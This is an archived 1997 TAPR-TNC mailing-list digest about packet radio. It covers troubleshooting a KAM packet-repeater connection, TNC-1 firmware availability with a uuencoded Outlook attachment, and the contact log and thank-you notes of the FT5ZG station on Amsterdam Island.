  I run 2 MSTRII's at 15 watts, one Yaesu 220 at 25watts...all on
packet.
Two are on 5 element beams and one on a omni. The omni allows for
direct
connects out to 20-30 miles here in the flat West Texas area. The beams
allow for just a little farther. Unfortunately, there is really no high
terrain.
  Most of the time, signal strength at the receive end of a digi is not
as
important as a voice repeater. If the packet can be heard, it can be
digi'd.
A good signal is nice, but again...not totally necessary.
  My standard rule of thumb, without having a manual handy, is to turn
the
audio (at your end) to 12:00 straight up...then back it down to perhaps
about
11am. You must make sure you are getting proper receive audio to
continue
holding the connect. This might be another reason for loss of connect.
  Try the connect on low power..then back to high power. See if there
is
any difference. Again, listen to the signal output. Check to see if it
"sounds hot". After listening a while to packet, you should be able to
discern what sounds hot and what doesn't.
  Gee...this ended up not being such a short note after all. Past all
of
this meandering, if it still doesn't work..contact a local bbs sysop &
ask
if he might be able to help.
  Good Luck!
--
73' Robert N5RKN
 RKNBBS (West Texas Regional Sysop)

```
 mailto:n5rkn@apex2000.net
 N5RKN homepage: http://www.apex2000.net/personal/n5rkn/
 Odessa Hamfest: http://www.apex2000.net/personal/wd5cwj/main2.htm

"If you dig a hole that's deep enough,
 everyone will want to jump into it."
 Firesign Theatre
```

7. Re: [TAPR-TNC:361] TNC1 FW

```
From: "Michael L. Robinson" <robinson@clinton.net>
Date: Sat, 2 Aug 1997 10:21:38 -0500
To: <tapr-tnc@tapr.org>
Message-ID: <199708021605.LAA30179@hobbes.clinton.net>
Rendered body type: text/plain
```

```
Byron,

I recommend checking out TAPR's Web Site and FTP Site.
URL's: http://www.tapr.org for the website
                  ftp.tapr.org (I think, but the website has a link to the
ftp site.

Good Luck.

Mike Robinson, KC0TA


----------
> From: Byron Smith <wa6ylb@theworks.com>
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:361] TNC1 FW
> Date: Friday, August 01, 1997 8:18 PM
>
> What was the last tapr supported version of TNC1 Code? Was there ever a
> final version (non DED) for this tnc? Did howie ever write a version for
> the tnc1?
> AS I seem to remember, the tnc1 code had several "bugs" in it, wher a ham
> would come home and find it locked up etc. THe tnc2 code has been bullet
> proof in comparison (or at least thats what my mind remembers :-0)
>
> Is it possible to still obtain this TAPR version of TNC1? the tnc I have
> (HD4040) has DED in it, and wont work with the packet program I have.
> BTW, are schematics still availible for the tnc1?
>
>
> Byron Smith
> wa6ylb@theworks.com
> wa6ylb@wa6ylb.#cca.ca.usa.noam
>
> .. Do radioactive cats have 18 half-lives?
```

8. Re: [TAPR-TNC:365] Re: KAM and packet repeater problem

```
From: "Michael L. Robinson" <robinson@clinton.net>
Date: Sat, 2 Aug 1997 10:33:52 -0500
To: <tapr-tnc@tapr.org>
Message-ID: <199708021617.LAA30346@hobbes.clinton.net>
Rendered body type: text/plain
```

```
Another remedy is to check with the SysOp and see if he has
the DCD Mod (available from TAPR) installed in his TNC(s).
I have added it to ALL of mine that did not come with it
installed and what a difference it makes!  The mod is not
reliant on audio strength so much as it is on being able to
extract the packet clock from the received signal.  If you don't
have the mod installed in your TNC (practically all TNCs except
TNC-2 and clones), I would consider it.  Well worth the money.

Mike Robinson, KC0TA


----------
> From: n5rkn <n5rkn@apex2000.net>
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:365] Re: KAM and packet repeater problem
> Date: Saturday, August 02, 1997 1:11 AM
>
> Jim Pruitt wrote:
> >
> >         Can someone tell me where to seek suggestions with a problem
```

that I
> > am having on vhf with a local packet repeater using a KAM. I have the
drive
> > jumper set to the lowest drive level to a Alinco DR1200T running 25
watts
> > originally to a vertically polarized 3 element quad pointed at the
repeater
> > and later using a jpole. For 2 years now I have been unable to use the
> > repeater because I can only get the connect but then get dropped. I am
> > using KAGold software and a 286 computer. I can see the repeater (or
the
> > station going through the repeater) responding in Net view.
> >   The sysop origially said that I appeared to be overdeviating
into
> > the Motorola Micor repeater. The last time I tried, he said that it
> > appeared that I was too weak into the repeater judging from the long
squelch
> > tail and the pop.
> >   I do not have a deviation meter to verify my deviation. I have
> > asked several groups if anyone has a deviation meter or service monitor
that
> > would be willing to check me on the air. All stated that no one had
access
> > to such equipment or were unwilling to do so. I can hear one other
node 120
> > mies away but I can not get back into it (it is weak for me but
copiable).
> >   I had no trouble using a node 100 miles away (until ice and
wind
> > took the 2 meter antenna down at the node and it has not been replaced
yet.
> >   The packet repeater is located 15 miles away and is line of
site for me.
> >   Since this is a TNC2 list, I am requesting help in finding the
right
> > place to seek advice on my problem (unless someone has suggestions).
> >   Thank you for the bandwidth and help.
> >
> >   Jim Pruitt, WA7DUY
> >   Kennewick, Wa.
> >   email: amburch@oneworld.owt.com
>
> Just a quick thought, here in the wee hours of the morn, Jim.. My first
> guess
> would have been deviation also. As, that seems to be the culprit most
> often..
> if all else is working. Without a meter, one can do a "ear" check with
> another
> radio. Compare the audio from other packets to what is going outbound
> from
> your station. I have successfully tuned up many a radio from GE
> MSTRII's to
> Yaesu's, Kenwoods, & Icom's with just my ear. A meter is preferable,
> but
> the ear will work "in a pinch" (no pun intended).
>   I run 2 MSTRII's at 15 watts, one Yaesu 220 at 25watts...all on
> packet.
> Two are on 5 element beams and one on a omni. The omni allows for
> direct
> connects out to 20-30 miles here in the flat West Texas area. The beams
> allow for just a little farther. Unfortunately, there is really no high
> terrain.
>   Most of the time, signal strength at the receive end of a digi is not
> as
> important as a voice repeater. If the packet can be heard, it can be
> digi'd.
> A good signal is nice, but again...not totally necessary.
>   My standard rule of thumb, without having a manual handy, is to turn
> the
> audio (at your end) to 12:00 straight up...then back it down to perhaps
> about
> 11am. You must make sure you are getting proper receive audio to
> continue
> holding the connect. This might be another reason for loss of connect.
>   Try the connect on low power..then back to high power. See if there
> is
> any difference. Again, listen to the signal output. Check to see if it
> "sounds hot". After listening a while to packet, you should be able to
> discern what sounds hot and what doesn't.

> Gee...this ended up not being such a short note after all. Past all
> of
> this meandering, if it still doesn't work..contact a local bbs sysop &
> ask
> if he might be able to help.
> Good Luck!
> --
> 73' Robert N5RKN
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> N5RKN homepage: http://www.apex2000.net/personal/n5rkn/
> Odessa Hamfest: http://www.apex2000.net/personal/wd5cwj/main2.htm
>
> "If you dig a hole that's deep enough,
> everyone will want to jump into it."
> Firesign Theatre

9. R: [TAPR-TNC:360]

From: "Claudio Ceravolo" <claudio@cln.it>
Date: Sun, 3 Aug 1997 18:35:35 +0200
To: <tapr-tnc@tapr.org>
Message-ID: <199708032202.AAA25342@nausicaa.cln.it>
Rendered body type: text/plain

[Empty message body]

10. RE: [TAPR-TNC:362] Re: TNC1 FW

From: Gwyn Reedy <gwyn@paccomm.com>
Date: Mon, 4 Aug 1997 07:04:42 -0400
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <01BCA0A4.B1637FE0@gwyn.paccomm.com>
Rendered body type: text/plain

Another enhanced memory, HI. No, PacComm has never had any support for the TNC-1. TAPR made the add-on board to convert a TNC-1 into a TNC-2, but that is out of production.

I have 2-3 TNC-1s in my personal collection (future museum?) including a 'beta board' from 1982 or 83. Could possibly copy a set of those ROMS for you, but that is the extent of my ability to help.

Gwyn Reedy, W1BEL
PacComm Packet Radio Systems

-----Original Message-----
From: Howard Goldstein [SMTP:hg@penny.n2wx.ampr.org]
Sent: Friday, August 01, 1997 10:17 PM
To: tapr-tnc@tapr.org
Subject: [TAPR-TNC:362] Re: TNC1 FW

Byron Smith writes:
> Did howie ever write a version for
> the tnc1?

No, I sure didn't. At one time PacComm (help me Gwyn if my memory is failing me) sold a TNC1->TNC2 retrofit but the product was discontinued.


```
begin 600 WINMAIL.DAT
M>)\^(B\+`0:0" `$```````!``$``0>0!@`(````Y 0```````#H``$(@ <`
M& ```$E032Y-:6-R;W-O9G0@36%I;"Y.;W1E`#$(`0V ! `"`````@`"```$$
MD 8`D $```$````0`````P``, (````+``\.``````(!_P\!````00``````
M``"!*Q^DOJ,0&9UN`-T!#U0"`````'1A<'(M=&YC0'1A<'(N;W)G`%--5% `
M=&%P<BUT;F- =&%P<BYO<F<`````'@`", $````%````4TU44 `````>``,P
M`0```!(```!T87!R+71N8T!T87!R+F]R9P````,`%0P!`````P#^#P8````>
M``$P`0```!0````G=&%P<BUT;F- =&%P<BYO<F<G``(!"S !````%P```%--
M5% Z5$%04BU43D- 5$%04BY/4D<```,``#D`````"P! .@$````>`/9?`0``
M`!(```!T87!R+71N8T!T87!R+F]R9P````(!]U\!````00````````"!*Q^D
MOJ,0&9UN`-T!#U0"`````'1A<'(M=&YC0'1A<'(N;W)G`%--5% `=&%P<BUT
M;F- =&%P<BYO<F<`````P#]7P$````#`/]?``````(!]@\!````! ``````
M``(Y3P$$@ $`'P```%)%.B!;5$%04BU43D,Z,S8R72!293H@5$Y#,2!&5P#+
M!P$%@ ,`#@```,T'" `$``<`! `J``$`%@$!(( #``X```#-!P@`! `'``$`
M&P`!``0!`0F `0`A````,#8Y-CA%1$4Y,C!#1#$Q,4$V0D8P,#0P,#4R1D9%
M-4$`,0<!`Y &`(@*```A````"P"``$````+`",````````,`)@``````"P`I
M`````````#`"X````````,`-@``````0 `Y`& O>C7&H+P!'@!P``$````?````
M4D4Z(%M405!2+51.0SHS-C)=(%)E.B!43D,Q($97```"`7$``0```!8````!
MO*#&-//>CI8'#)(1T::_`$ %+_Y:```>`!X,`0````4```!33510`````!X`
```

```
M'PP!````$0```&=W>6Y <&%C8V]M;2YC;VT``````P`&$!HQBB<#``<0B (`
M`!X`"! !````90```$%.3U1(15)%3DA!3D-%1$U%34]262Q(24Y/+%!!0T-/
M34U(05-.159%4DA!1$%.65-54%!/4E1&3U)42$543D,M,51!4%)-041%5$A%
M041$+4].0D]!4D143T-/3E9%4E1!5$X``````@$)$ $```!F!P``8@<``* 0
M``!,6D9U4[N&Z0,`"@!R8W!G,3(U<C(,8&,Q`S !!PM@;I$.$# S,P\69F4/
MDD\!]P*D`V,"`&-H"L!SA&5T`M%P<G$R``"2*@JA;F\24" P`="%`= V#Z P
M-3 T%"'S`= 4$#1]!VT"@P!0`]3[$?\3"V(3X110$[(8]!30KP<3`H "D0CF
M.PEO,!K?^F4.,#4<"ATA'-\=Z1OT_QX2''\@3R -'X\=OQP/$&#\,C@EVB;Q
M)J\GN1OT)^*_)D\J'RG=*5\GCRM4.0Y0'RZD, $H(S ``H)S='GJ; >0: G@
M= ``$U #\%!D8W1L"K%<,EAAF&1J=3%P!1!G: 5".Q8R# %C"< R8 ,P<VY\
M97@7, >P!; `P )S<[$`4'-B,A10,6!A$_#T7&L)X' +D#(_,J,(8.LRD N
M93&@=CE@`4 SF[\,,#1D* `W0 2@"X!G)_'I-.9B81<09 (@-: U1N<QT#.0
M.Y$@,3$S#E VG_\WKSB_`%$Y_ "@-&X\?SV&_S$D#\ ^CS^?0*\.4#GO0P_;
M1!\]LS,"@A,08S9@2Z&3,Y ]L'1I.9 @1 $0J&%U; 5 4 K 80G X&%P:"!&
M`B$V)"5 Z&9I+0^0. % .3!0,^M'#S*C8@L@<@E04E(6H-E24G<T)4$7`' !
MT$UR?S._2I]+ID_03I %$ (P+4-/, -A.B!4;U>P4RAU8FH%D'17L$1AZ'1E
M.C8D-D__40]2'_]3+U0Y,< ]HPXA2Z$ZM@Y0FU5O5GY2.8$7`2!(/9'[!) V
M)#=9;UI_6X]<G3D/+UV_#Y!I< C08@JP=#C_2?H/5$807[]@QFH`8= +4+QY
M+T] 7+ +$6)%<S8D_R@`8S]D3V5?7*]43VM?;&_O;757TE=T6*DY;[\S/P,P
M'6FS.7.?=*]ZH$1O8_YU!X ", 703P`:`7C2>##W>''!Q40& ;E@P`& )\$V@
M[WT``@$UX%Y290#P?0`Q@))P'H!<=@B0=VL+@/YD:T" H@3P!T 080% #@#O
M<2(]@H(%`A!O!4(7(1+R#5C ;0M16, @0SI<ZEQ7`&].X6U/, ,0!Y!-A+!-
M#> #8'-O`8 @KD\!( W@?_!<AF9%`,#U`Q N2W!T?= 7$'AP-2'M9W)X`4!_
M`6XQT!KPB 0]3C1C`R 2\P" !9!L=O]!H4;0#G UX(J2`9 `((LB_X#Q?4$!
MP8J1%N /< ``1M#S#- !D" N&A**B Y0BT+_3G!XP(N_C,^-WP_ 1M %@;>/
M?Y"/D9]L:T!&T&R//_N3_Y4%*8X,)4"2WY>_E/3X8B H`I&8WXK365"6C_^;
M3YQ?G6^+`&,0GK*+CZ ?_Z$OC@PH`)Z_I#^E3Z9?BP#_> "C/ZC/J=^JY KY
M`S!X+U-Y/WK->T$34'2),2 _"?"4H8:@-2 '@ 1@<GER+&) 22XUL;403J!C
M_0A0;84P%N $(#5@8?&V(0,U( !P>2!S=7!P-0D1(']Q(+/15\!.0\-N\+50
M5$%04K2@8G%KN --D2T"(" &X&VB=/1O( 6@;F'Q!4"54+A3KB!7(;J NR0R
MM1!B9U _N %8L+N0!"!G0;TP9B#_%W $< YP3= "(+50"H4*A<9)MB%-\3(M
M,[A$!"#]L$%MMS" 8!<``B '0+J1[FPQH+X#JE!F9U (<!. RFVR$&5](#\I
MNY&*,,YU/;.54&] <76#0!. _F(7()50NA,`$,0$M\ #83$]\#DX,KTP!< X
M,[NU4 A1;#4@MX $$&D"8/NW, 6@<+<PE5 7$;URL]#9$V)23P7AM])Y"&"\
M;/^X$C5Q?4*]@<"A`: #$$W +[<PNG$QT+#P+KY\1W<>>0.@8= )@+4!5S%"
M?$5,"H6OI+!OL7\%0'OOM;:UL4:@!4!2/:&Z@ :P^S%PA!!SOGS.YF=PK:+/
M;Q_0?PC!-/(UH!+R8FMM<FNLLR!??8 #$%BA871]+=E"3[)!"X#!,4WS!Y!&
M4&=EV4/.>[ &8OW_;R#4_W"_<<]G/VA/:5]J;W^S1-=&5W,,@F) W7!MHD<-
M!O!DTP&P05M3352@4#IH9T" 8&ZW(&(N)1!W>"Z%(!=P+OD%L&==VN_;]&Z[
MW2_>/__?3W*_LLP,(==5!F ",.74%QHBY3;KP&&U`4%U9YONX1.0,;40+_ Y
M-SWP[# Z8P!.D$W.=O!I5]&7\6T!D!=P+7Z@8T#VHE_HPO1?\/%8)?%M6[C"
M+<&X43HS-C)=8<%7L?.X8 Z01E?I'[!"U+_5SS_O'[-3T\_];_Y_T4-">;,1
MH/T04VU-P$\@=P: R5C <SH*A2 ^3A U$?_(@!9PRI&VD@4#NQ%A\L'2SW]Q
M!7BX$O;Q,3^^?+5RG[]0MU#"83VPB1 G=+50O_+ O6$U8+@`%0&UIRC,,ONT
MH<U4:<LSM+2]`0#%3D!_RZ$]T;2PPP"&$,;1NR,Q_"T^N%'&$!KP_U"&($W
M_[QU$X"]M03P2T `Q3VP@8#W3U'G$!O09,Q]%?#7QG\!(]B9`,9]```6\ ``
M`P`0$ `````#`!$0`0````,`@!#_____0 ``,*"\A<'%H+P!0 `(,*"\A<'%
MH+P!"P`E@ @@!@`````P ```````$8`````X4````````#`": "" &````
M``# ````````1@`````0A0````````,`)X (( 8``````, ```````!&````
M`%*%``"W#0``'@`H@ @@!@`````P ```````$8`````5(4```$````$````
M."XP``,`*8 (( 8``````, ```````!&`````&%`````````"P`J@ @@!@``
M````P ```````$8`````#H4````````#`"N "" &`````# ````````1@``
M```1A0````````,`+( (( 8``````, ```````!&`````!B%````````'@`M
M@ @@!@`````P ```````$8`````-H4```$````!`````````!X`+H (( 8`
M`````, ```````!&`````#>%```!`````0`````````>`"^ "" &`````#
M````````1@`````XA0```0````$`````````'@`]``$````%````4D4Z( ``
,```#``TT_3<``.MA
`
end
```

11. AMSTERDAM ISLAND

```
From: F1ryv@aol.com
Date: Wed, 6 Aug 1997 07:10:05 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <970806071004_196598083@emout01.mail.aol.com>
Rendered body type: text/plain
```

<< AN ENGLISH TRANSLATION IS PRESENT AT THE END OF THE TEXT >>

```
*******************************************************************************
********
*************** << A M S T E R D A M - I S L A N D  1 9 9 7 >> *************
***************************** L O G of F T 5 Z G
*********************************
*******************************************************************************
********

QSL MANAGER : F 5 R Q Q
```

ADDRESS: MR VIGIER Jean-Marc,
                  4 impasse des Lys
                  63800 Cournon d'Auvergne
                  FRANCE

PKT ADDRESS : F5RQQ@F6KDC.FALI.FRA.EU

E-MAIL   : F5RQQ @ AOL.COM

QSL   : DIRECT OR BY FRENCH BUREAU (I envoy the first qsls
cards
                                        on August 97 the 4!)

CONTACTED (BY RECEIVE ORDER)

<<1 LOG>>
BV6GM V8HFC F6CEL JF2EZA IK5SRF IK2EUY IK1NEG IK1RMK EA3FR EA3CB
IK5WMB IK5WWB EA3BHK EA3AOK IK1QQQ IK2ULV PA3CNI EA3BT IK4XQH EA3BKI
GI0KON I4LCK OH0SX A71CW IK4PLW OH3SR OM0SR ON5JY IK6BOB IK4DCT PA3GIP
PA3DWD PA3AXU PA3DBG EI0UJG I8LPR JA8KX JA0BCO JF6JCV 4L5A ZS5ADU VK0IR
VE7KDU AX6RO US5QNA UY7QN YB4FIK T94QE W7GN.

<<2 LOG>>
JL1WPQ JA2KOG JA5AVI UA0ZC 9VAOK 7K4TJQ JR1XFS 4K9C JH7LRS UA0MF 4K5CW
JF?KKV RA3QSY UA0FZ RU6FZ RU0LAX JR1CCT RW0LL US0GA UA0LCZ JA7UMT
RA3XO 9A1CAH K6OZN UA4FHW JA7SL K7GE W6YA WZ6Z IK6BOB RU6FZ OH3SR
UA6HCW I6FLD JH2FX IK3SSO J42FGL RV3GW RA3UU UA0ZC RW3GX UA9WZ RA3UT
JI1CZK JA0IAB RA9AB JQ3DUE JH1GZE JK1BSM JA1SBI JA2INO JA7AGO JH1ORA
JH1JNR JA0GJJ UA9AJ UA4PMQ JG1LKO UA9AH JA1JRK RZ9AZA JH6JMN RV9AC
JH6CDI JF1HUC JA7BWT JA0KNM RA9LE JH4FEB JA2VTA JI1FXS JT1CDJ 7N3BYU
JS2LHI JA2DSY UA9FAR UA9LP VE1ZZ UA9LF JA1SYY ON7GB YC8UYB JA3AFR
ON4VT F6GCP JA?MHV DL7PR G4BWP JK3BLD JA6CUX JN1HOW JH7OHF SM4HCM
IK?MGP JH4EZI JH2KWF JH2AYB JF1HOH JA9XBW JA3PIS OK1RD DJ5IW JE2LUN
JR9LKE JR1RDH JA5ADR 9M2VZ OH2WI OH5MLF OH2EE UR7QC OH2DW OH2WI
WA7BPI OH1MA JA2FGL SP3FHV OH3ES JA6OET JA3REK VE7IV JA1GRM JA3CRO
N6ZS K7LAY OH5VX K6VX W6JRY UA6AF K7XS K6JG XU6WV RA3DX K6UT K9JF
DJ7AA ON4TH.
<<end of second log CW ONLY >>.

<<3 LOG>>
OH4JLV UA6AF N3SL OH2BCD OH5LHY OH5BM OH3JF OH2BFK J?OYG K?ORS K7ZZ
JA7ZDU K6LEB JA7WTU K7GQ N7BZ OH7MEH OH6JD SM5AYY OH1NOR AA7CQ
JA1TWP SK7AX J7NN K7SKJ N7FU EA3CR SK7AK 7N3AWE W7DT OH7MS EA3AJI
EM7EKM UA3PMO F5NOD EA7BJ JB7PMV SM2SUM SM6MCW VE7KDU F6DIZ K7QXG
V51GC N7TM N6NR K7LAY AA7CQ BC2QM JR1MVA JA1EOD JA0VBJ JM1NKT JA2VTA
JA1CZI JE6IBJ JK1BSM VK3AJJ JE8IVF JA1BLC ON7NQ IK7XIV JA7JT JA9NPS 9M2RC
FR5DD UA0ZC T94QE JA0DIN 7K4QOK F5PYI F5UFX F5PFP! F6JKH F6JJX F5RZJ
F5JQI F6EPN OE5BJN F5NZO EA3GJW F5JUJ IT9GSF IT9CTG EA3GHQ F5SSG F5SIH
F6ZK? JG3IBG JF9KNW NI6T K6VIB K6AW W6OTC VE3EY AJ6T K7JQ WA6WRS
JE1PNX KG6I J7OM DL4NAC K6CU KI7VR N7RO K6DA W2VJ VE4AHA 7L4DNH W7KKN
KG6NE N6HL N6DKP GA6WJ AA6WJ K6KII N6SJ WA6TLA N6SJ WA6TLA N6ZAE J7LGC
WO6MCA DL0ZDD IK2UTT DK0EE DK2FG OZ8ABE A6NB DL4MDO PA0CRA
<< end of third log >>

<<4 LOG>>
K9NU NC9T N4VV W4NL W6XI XU2FB 9M2VZ YB4FNN ZS6APS YB2BKJ SP4EAK
VE7FSF W7CF W5KCN W7WM N3SL S21XX RV3GW HL1DH JA8BOF UA4HAU JA5QJD
OM5DP OM2SA JA4DND JH4FEB JA4JBZ UA4HEJ OM5MZ JA0RUG OM5XX RW4WR
OM5CW UY8LL JA7AGO JH4UYB JR5XPG JA5ERZ JG6MQI
<< end of 4th log >>

<<5 LOG>>
K8BN WB7DZN K9EU AA7A N7KO W8AH K7VZ WB4FN N6XJ WA7LN K6KT JA8PYN
JA6BEE JA8RJE W2UE JK6RDM JA8SHI JA1EOD W5RC JA8LLL K5VT JA8EKU JA8CJY
JH8RZJ JA1UPT JA8EVL W7MO W6RLL JE2OVG WB7DZN W6RK JP1SYV W7WM
HL1DH W6JZH N7BZ N7QQ JR1TNE N2YQ JL1BFC A71CW JH1STL JA1IDY JA1KJK
JA0HC JA1SYY N6MZ JH7LGJ JI1UHZ JR9OPJ W7BX NF6S JA7MBT JA9RRH JO1MOS
RW4WB JA1XGQ JA1KYM VR2KF JS1OKS VE7JQ JF1KZD JI1NJC JP1FHC JH1EGJ
RW4HW SM3JLA JN1MKU JA0CRI JF2UPM RU4HP JQ1BNA K6VX W7JEN JA1BTR
KJ7WE AI7W VE7NH JR5LVU NH7M/W6 JU1SKG WC7N JA3BUM JA1CZI VE7AF
JR4MNE IK3VUT KJ7W WC1JN W7LNG W7IX N7MCA K7OM N7BZ KG7GA K7DBV AD7D
W6YHM K6MA W7KCZ OH2NSM IK5TSS JM1PXG K6RO RA3DX N7IC VE7AF VE7KDU
JR3OEH OH3MHT JA8RJE JA3GN JA3CHD J7OM OH3VV UA9AJ KI6AN JH8BOE F5PYI
F5PGP PA3FQA IK2IQD F5RUQ ON7GB PA3RPG PA3PHY
<< end of 5th log>>

<< END OF LIST >>

<< PETITE PRESENTATION DE FT5ZG >>

FT5ZG Eric Lazard est actif depuis l'ile d'Amsterdam depuis octobre 1996. Sa station se
compose d'un KENWOOD 450S de deux antennes, une Levy et une verticale.

Depuis deux mois, et grace a l'aide du CLIPPERTON DX CLUB, associe a GES PARIS,
Eric dispose d'un amplificateur de puissance. Un grand merci a F2YT Paul, f2VX Gerard
President du CLIPPERTON DX CLUB merci pour ce geste. Les cartes QSL ont ete realisees
par F1IXQ de QSL!

De plus je remercie au passage les Oms qui ont oeuvres pour le transport de l'amplificateur
sur Amsterdam :

F2YT Paul : Pour l'expedition Paris-Lyon .
F2VX Gerard : Pour le suivi de l'affaire !hi!
F5HRJ : Pour la recuperation et la livraison a la Reunion
FR5 : Pour la recuperation a la Reunion et l'embarquement sur le
"Marion Dusfrenes" a destination de Amsterdam
FR5HR : Pour l'aide des differents acheminements de colis pour Eric
F8HT Jean : De la societe RCS pour le don d'une lampe 3 500 Z.

L'amplificateur de puissance est maintenant reference dans le listing des TAAF, cela
permettra, en accord avec le CLIPERTON DX CLUB, d'avoir un ampli facilement disponible
pour CROZET, KERGUELEN, AMSTERDAM, BOUVET.

QUI A DIT QUE L'ESPRIT AMATEUR AVAIT DISPARU ?

NOM : VIGIER
Prenom : Jean-Marc
age : 35 ans
Passsions : Le radioamateurisme, la telegraphie, la montagne.
INDICATIF : F5RQQ

<< SMALL PRESENTATION OF FT5ZG >>

FT5ZG Eric Lazard is active since the island of Amsterdam since October 1996. Its station is
composed a KENWOOD 450S of two antennae, a Levy and a vertical.

Since two month, and thanks to the assistance of the CLIPPERTON DX CLUB, associate to
GES PARIS, Eric has an amplifier of power.

A large thank you has F2YT Paul, f2VX Gerard President of the CLIPPERTON DX CLUB
thank you for this gesture. QSL cards have been realized by F1IXQ of "QSL!"

More I thank to the passage Oms that have worked for the transportation of the amplifier on
Amsterdam:

F2YT Paul: For the expedition Paris - Lyon.
F2VX Gerard: To follow it by the affair ! "hi !"
F5HRJ: For the recovery and the delivery to the Reunion
FR5: For the recovery to the Reunion and the embarkation on the "Marion Dusfrenes" to
destination of Amsterdam
FR5HR: For the assistance of the different forwarding of parcel for Eric
F8HT John: The company "RCS" for the gift of a lamp 3 500 Z.

The amplifier of power is now referenced in the listing of TAAF, that will allow, in agreement
with the CLIPERTON DX CLUB, to have an amplifier easily available for CROZET, KERGUELEN, AMSTERDAM, BOUVET.

"WHO TOLD THAT The AMATEUR SPIRIT HAD DISAPPEARED ?"

_____

NAME: VIGIER
First Name: Jean-Marc
age: 35 years
Passsions: The ham-radio, telegraphy, ride mountain.
CALL : F5RQQ

<< LIST OF CALLS SORTED BY ALPHABETICAL ORDER, ALL CATEGORIES OF
CONTACT CONFUSED >>

4K5CW 4K9C 4L5A 7K4QOK 7K4TJQ 7L4DNH 7N3AWE 7N3BYU 9A1CAH 9M2RC 9M2VZ
9M2VZ 9VAOK A6NB A71CW A71CW AA6WJ AA7A AA7CQ AA7CQ AD7D AI7W AJ6T
AX6RO BC2QM BV6GM DJ5IW DJ7AA DK0EE DK2FG DL0ZDD DL4MDO DL4NAC DL7PR
EA3AJI EA3AOK EA3BHK EA3BKI EA3BT EA3CB EA3CR EA3FR EA3GHQ EA3GJW
EA7BJ EI0UJG EM7EKM F5JQI F5JUJ F5NOD F5NZO F5PFP! F5PGP F5PYI F5PYI
F5RUQ F5RZJ F5SIH F5SSG F5UFX F6CEL F6DIZ F6EPN F6GCP F6JJX F6JKH F6ZK?
FR5DD G4BWP GA6WJ GI0KON HL1DH HL1DH I4LCK I6FLD I8LPR IK1NEG IK1QQQ
IK1RMK IK2EUY IK2IQD IK2ULV IK2UTT IK3SSO IK3VUT IK4DCT IK4PLW IK4XQH
IK5SRF IK5TSS IK5WMB IK5WWB IK6BOB IK6BOB IK7XIV IK?MGP IT9CTG IT9GSF
J42FGL J7LGC J7NN J7OM J7OM J?OYG JA0BCO JA0CRI JA0DIN JA0GJJ JA0HC
JA0IAB JA0KNM JA0RUG JA0VBJ JA1BLC JA1BTR JA1CZI JA1CZI JA1EOD
JA1EOD JA1GRM JA1IDY JA1JRK JA1KJK JA1KYM JA1SBI JA1SYY JA1SYY
JA1TWP JA1UPT JA1XGQ JA2DSY JA2FGL JA2INO JA2KOG JA2VTA JA2VTA
JA3AFR JA3BUM JA3CHD JA3CRO JA3GN JA3PIS JA3REK JA4DND JA4JBZ
JA5ADR JA5AVI JA5ERZ JA5QJD JA6BEE JA6CUX JA6OET JA7AGO JA7AGO
JA7BWT JA7JT JA7MBT JA7SL JA7UMT JA7WTU JA7ZDU JA8BOF JA8CJY
JA8EKU JA8EVL JA8KX JA8LLL JA8PYN JA8RJE JA8RJE JA8SHI JA9NPS JA9RRH
JA9XBW JA?MHV JB7PMV JE1PNX JE2LUN JE2OVG JE6IBJ JE8IVF JF1HOH
JF1HUC JF1KZD JF2EZA JF2UPM JF6JCV JF9KNW JF?KKV JG1LKO JG3IBG
JG6MQI JH1EGJ JH1GZE JH1JNR JH1ORA JH1STL JH2AYB JH2FX JH2KWF
JH4EZI JH4FEB JH4FEB JH4UYB JH6CDI JH6JMN JH7LGJ JH7LRS JH7OHF
JH8BOE JH8RZJ JI1CZK JI1FXS JI1NJC JI1UHZ JK1BSM JK1BSM JK3BLD
JK6RDM JL1BFC JL1WPQ JM1NKT JM1PXG JN1HOW JN1MKU JO1MOS JP1FHC
JP1SYV JQ1BNA JQ3DUE JR1CCT JR1MVA JR1RDH JR1TNE JR1XFS JR3OEH
JR4MNE JR5LVU JR5XPG JR9LKE JR9OPJ JS1OKS JS2LHI JT1CDJ JU1SKG K5VT
K6AW K6CU K6DA K6JG K6KII K6KT K6LEB K6MA K6OZN K6RO K6UT K6VIB
K6VX K6VX K7DBV K7GE K7GQ K7JQ K7LAY K7LAY K7OM K7QXG K7SKJ K7VZ
K7XS K7ZZ K8BN K9EU K9JF K9NU K?ORS KG6I KG6NE KG7GA KI6AN KI7VR
KJ7W KJ7WE N2YQ N3SL N3SL N4VV N6DKP N6HL N6MZ N6NR N6SJ N6SJ
N6XJ N6ZAE N6ZS N7BZ N7BZ N7BZ N7FU N7IC N7KO N7MCA N7QQ N7RO
N7TM NC9T NF6S NH7M/W6 NI6T OE5BJN OH0SX OH1MA OH1NOR OH2BCD
OH2BFK OH2DW OH2EE OH2NSM OH2WI OH2WI OH3ES OH3JF OH3MHT
OH3SR OH3SR OH3VV OH4JLV OH5BM OH5LHY OH5MLF OH5VX OH6JD
OH7MEH OH7MS OK1RD OM0SR OM2SA OM5CW OM5DP OM5MZ OM5XX ON4TH
ON4VT ON5JY ON7GB ON7GB ON7NQ OZ8ABE PA0CRA PA3AXU PA3CNI PA3DBG
PA3DWD PA3FQA PA3GIP PA3PHY PA3RPG RA3DX RA3DX RA3QSY RA3UT
RA3UU RA3XO RA9AB RA9LE RU0LAX RU4HP RU6FZ RU6FZ RV3GW RV3GW
RV9AC RW0LL RW3GX RW4HW RW4WB RW4WR RZ9AZA S21XX SK7AK SK7AX
SM2SUM SM3JLA SM4HCM SM5AYY SM6MCW SP3FHV SP4EAK T94QE T94QE
UA0FZ UA0LCZ UA0MF UA0ZC UA0ZC UA0ZC UA3PMO UA4FHW UA4HAU
UA4HEJ UA4PMQ UA6AF UA6AF UA6HCW UA9AH UA9AJ UA9AJ UA9FAR UA9LF
UA9LP UA9WZ UR7QC US0GA US5QNA UY7QN UY8LL V51GC V8HFC VE1ZZ
VE3EY VE4AHA VE7AF VE7AF VE7FSF VE7IV VE7JQ VE7KDU VE7KDU VE7KDU
VE7NH VK0IR VK3AJJ VR2KF W2UE W2VJ W4NL W5KCN W5RC W6JRY W6JZH
W6OTC W6RK W6RLL W6XI W6YA W6YHM W7BX W7CF W7DT W7GN W7IX
